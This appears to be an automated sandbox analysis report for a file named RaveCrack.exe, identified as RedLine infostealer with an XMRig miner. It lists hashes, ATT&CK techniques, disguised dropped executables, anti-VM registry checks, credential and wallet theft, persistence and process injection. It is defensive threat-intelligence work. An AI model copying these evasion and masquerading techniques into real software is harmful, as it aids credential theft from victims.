redline | 29c409e07f6bff407c11023eae2d2bb2a9033e44fbb4a07897a785f5ae1c3d24

Analysis

max time kernel
151s
max time network
150s
platform
windows10_x64
resource
win10-en-20211104
submitted
05-12-2021 20:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RaveCrack.exe
Size

1.6MB
MD5

92072e1401c170181f26fc193ae6137f
SHA1

bcbeeca2346809882369655c85d9ffb9c2b2aadf
SHA256

29c409e07f6bff407c11023eae2d2bb2a9033e44fbb4a07897a785f5ae1c3d24
SHA512

6dd5ad7d456a77ae001b07e5cefba80553498e13bf3e2dc5b9c3de722ac37d9b0d1518004371cb1d4bed51e3b2dcc7590c5d970cc78fa8f7864c341c45aa8a2b

Score

10^/10

redline xmrig discovery evasion infostealer miner persistence spyware stealer trojan

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2628-128-0x0000000000400000-0x00000000007F4000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

XMRig Miner Payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/672-396-0x000000014030F3F8-mapping.dmp	xmrig

Downloads MZ/PE file
Executes dropped EXE 5 IoCs

Processes:

WindowsDefender.exeJava.exeWindows.exeservices64.exesihost64.exe

pid process

372 WindowsDefender.exe
2544 Java.exe
2188 Windows.exe
2272 services64.exe
1764 sihost64.exe
Modifies Installed Components in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
372	WindowsDefender.exe
2544	Java.exe
2188	Windows.exe
2272	services64.exe
1764	sihost64.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

RaveCrack.exeWindows.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RaveCrack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	RaveCrack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Windows.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Windows.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Windows.exeRaveCrack.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Windows.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	RaveCrack.exe

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

explorer.exe

description ioc process

File opened (read-only) \??\D: explorer.exe

description	ioc	process
File opened (read-only)	\??\D:	explorer.exe

Drops file in System32 directory 4 IoCs

Processes:

Java.exeservices64.exe

description	ioc	process
File opened for modification	C:\Windows\system32\services64.exe	Java.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	services64.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	services64.exe
File created	C:\Windows\system32\services64.exe	Java.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

Windows.exeservices64.exe

description	pid	process	target process
PID 2188 set thread context of 3740	2188	Windows.exe	cvtres.exe
PID 2272 set thread context of 672	2272	services64.exe	svchost.exe

Drops file in Windows directory 5 IoCs

Processes:

explorer.exeSearchUI.exeShellExperienceHost.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\2717123927\1713683155.pri	explorer.exe
File created	C:\Windows\rescache\_merged\1601268389\3068621934.pri	SearchUI.exe
File created	C:\Windows\rescache\_merged\4183903823\1195458082.pri	ShellExperienceHost.exe
File created	C:\Windows\rescache\_merged\4032412167\2690874625.pri	ShellExperienceHost.exe
File created	C:\Windows\rescache\_merged\4032412167\2690874625.pri	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1220 372 WerFault.exe WindowsDefender.exe

pid	pid_target	process	target process
1220	372	WerFault.exe	WindowsDefender.exe

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

explorer.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3280 schtasks.exe

pid	process
3280	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

SearchUI.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchUI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchUI.exe

Modifies registry class 29 IoCs

Processes:

explorer.exeSearchUI.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\IconStreams = 14000000070000000100010005000000140000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b0072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c100000000000002000000e5070c004100720067006a006200650078002000200033000a005600610067007200650061007200670020006e007000700072006600660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074ae2078e323294282c1e41cb67d5b9c0000000000000000000000007e7791d216ead70100000000000000000000000000000d20feb05a007600700065006200660062007300670020004a0076006100710062006a006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000002000000e5070c004600630072006e0078007200650066003a002000360037002500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000073ae2078e323294282c1e41cb67d5b9c0000000000000000000000001ab64ed216ead70100000000000000000000000000000d20feb05a007600700065006200660062007300670020004a0076006100710062006a006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000007b00360051003800300039003300370037002d0036004e00530030002d003400340034004f002d0038003900350037002d004e00330037003700330053003000320032003000300052007d005c004a0076006100710062006a0066002000510072007300720061007100720065005c005a0046004e00460050006800760059002e0072006b007200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000000000000e5070b004e0070006700760062006100660020006100720072007100720071002e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000fffffffff9a6406d323dcb4f8a86be992e03dc7600000000000000000000000006d89a44aed1d70100000000000000000000000000000d20feb05a007600700065006200660062007300670020004a0076006100710062006a006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e5070b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff75ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e5070b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff81ae2078e323294282c1e41cb67d5b9c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoft.windows.cortana	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "185"	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "23"	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "132805259250849572"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\windows.cortana	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchUI.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "152"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "23"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "56"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "56"	SearchUI.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

RaveCrack.exeWindowsDefender.exeJava.exepowershell.exeWindows.exepowershell.exeservices64.exepowershell.exesvchost.exepowershell.exeWerFault.exe

pid	process
2628	RaveCrack.exe
372	WindowsDefender.exe
372	WindowsDefender.exe
372	WindowsDefender.exe
2544	Java.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
2188	Windows.exe
588	powershell.exe
588	powershell.exe
588	powershell.exe
2272	services64.exe
2272	services64.exe
2704	powershell.exe
2704	powershell.exe
2704	powershell.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
3492	powershell.exe
3492	powershell.exe
672	svchost.exe
672	svchost.exe
3492	powershell.exe
672	svchost.exe
672	svchost.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
1220	WerFault.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe
672	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

RaveCrack.exeWindowsDefender.exeJava.exepowershell.exeWindows.exeexplorer.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2628	RaveCrack.exe
Token: SeDebugPrivilege	372	WindowsDefender.exe
Token: SeDebugPrivilege	2544	Java.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	2188	Windows.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeIncreaseQuotaPrivilege	3180	powershell.exe
Token: SeSecurityPrivilege	3180	powershell.exe
Token: SeTakeOwnershipPrivilege	3180	powershell.exe
Token: SeLoadDriverPrivilege	3180	powershell.exe
Token: SeSystemProfilePrivilege	3180	powershell.exe
Token: SeSystemtimePrivilege	3180	powershell.exe
Token: SeProfSingleProcessPrivilege	3180	powershell.exe
Token: SeIncBasePriorityPrivilege	3180	powershell.exe
Token: SeCreatePagefilePrivilege	3180	powershell.exe
Token: SeBackupPrivilege	3180	powershell.exe
Token: SeRestorePrivilege	3180	powershell.exe
Token: SeShutdownPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeSystemEnvironmentPrivilege	3180	powershell.exe
Token: SeRemoteShutdownPrivilege	3180	powershell.exe
Token: SeUndockPrivilege	3180	powershell.exe
Token: SeManageVolumePrivilege	3180	powershell.exe
Token: 33	3180	powershell.exe
Token: 34	3180	powershell.exe
Token: 35	3180	powershell.exe
Token: 36	3180	powershell.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
